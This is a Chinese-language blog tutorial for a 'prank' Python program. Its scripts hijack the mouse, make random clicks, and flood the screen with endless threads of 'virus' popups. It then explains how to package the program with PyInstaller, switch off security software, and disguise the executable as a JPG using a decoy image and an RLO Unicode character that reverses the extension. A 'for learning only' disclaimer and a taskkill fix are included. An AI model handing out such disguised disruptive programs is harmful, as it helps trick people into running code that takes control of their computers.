今天给大家展现一个不一样的我——一个干坏事的我,我们一起来制作一个简易恶作剧小程序,虽说是一个恶作剧,但是不传染,甚至可以在实体机中运行,安全无害。

此程序仅供学习,请勿用于不法之途。


开始写代码!

请注意:害人之心不可有,防人之心不可无。万万不可将下面的代码用于不法之途,以下代码仅用于学习交流!


如何操作

先写代码

创建一个空白的​​python​​​文档,命名为​​program.py​​,输入以下代码:

from autopy import mouse
from tkinter import Tk
from random import randint

window = Tk()
window.withdraw()

width = window.winfo_screenwidth()
height = window.winfo_screenheight()

while True:
try:
mouseX = randint(0,width)
mouseY = randint(0,height)

mouse.move(mouseX,mouseY)
except:
pass

只有十八行代码,但是可以让鼠标随机闪现,无法控制。

或者这个代码(参考到了​​《用python实现祝福弹窗》​​):

from tkinter import Tk,Label
from random import randint
from threading import Thread

def create():
window = Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
x = randint(0,width)
y = randint(0,height)
window.title('中病毒快乐')
window.geometry("200x50" + "+" + str(x) + "+" + str(y))
Label(window,text = '中病毒快乐!',bg = 'red',font = ('楷体', 17),width = 15, height = 2).pack()
window.mainloop()

threads = []
record = 0
while True:
t = Thread(target = create)
threads.append(t)
threads[record].start()
record += 1

二十二行代码,不一会让你的电脑铺满窗口。

这段代码也可以:

from autopy import mouse
from random import randint
from time import sleep

seconds = randint(1,600) #随机设定一个区间,你可以修改

while True:
try:
mouse.smooth_move(seconds,0)
mouse.click()
mouse.toggle(True)
mouse.toggle(False)
sleep(seconds)
except Exception as e:
pass

破解方法

①重启电脑;

②打开命令提示符后输入​​taskkill /im python.exe /f​​,同样都可以结束。如果你的程序已经打包,那么代码写成​​taskkill /im 你的程序名称.exe /f​​即可。


打包、伪装

第一件事

我们随便从网上下载一张图片吧,随便一张,比如说这个(来自​​360图片​​):

自制一个无害的恶作剧程序_ico

下载下来后,将​​.png​​图片命名为​​image.png​​,图标命名为​​icon.ico​​,我们打开​​图标转换器​​,改为图标,两个文件都保存好。

创建一个文件夹,命名为​​build​​​,将​​image.png​​剪切进去。

第二件事

我们要先改下代码,加几行:

from os import system
system(r'call "build\image.png"')

第三件事

打开命令提示符,切换到当前目录,输入以下代码:

pyinstaller -F program.py -w -i icon.ico

自制一个无害的恶作剧程序_应用程序_02

打包完成后,我们将应用程序剪切出来。注意,我们需要关掉所有的安全软件,改一下程序的名称:

自制一个无害的恶作剧程序_应用程序_03

注意要选中完整的文件名称,包含拓展名,统统删掉,然后插入​​Unicode​​控制字符,选择里面的​​RLO​​一项,按照高亮的步骤操作,输入​​gpj.exe​​即可。

只要对方不打开属性看,就很难发现这是一个应用程序。

自制一个无害的恶作剧程序_python_04

还是那句话,不要用于不法之途,仅供学习讨论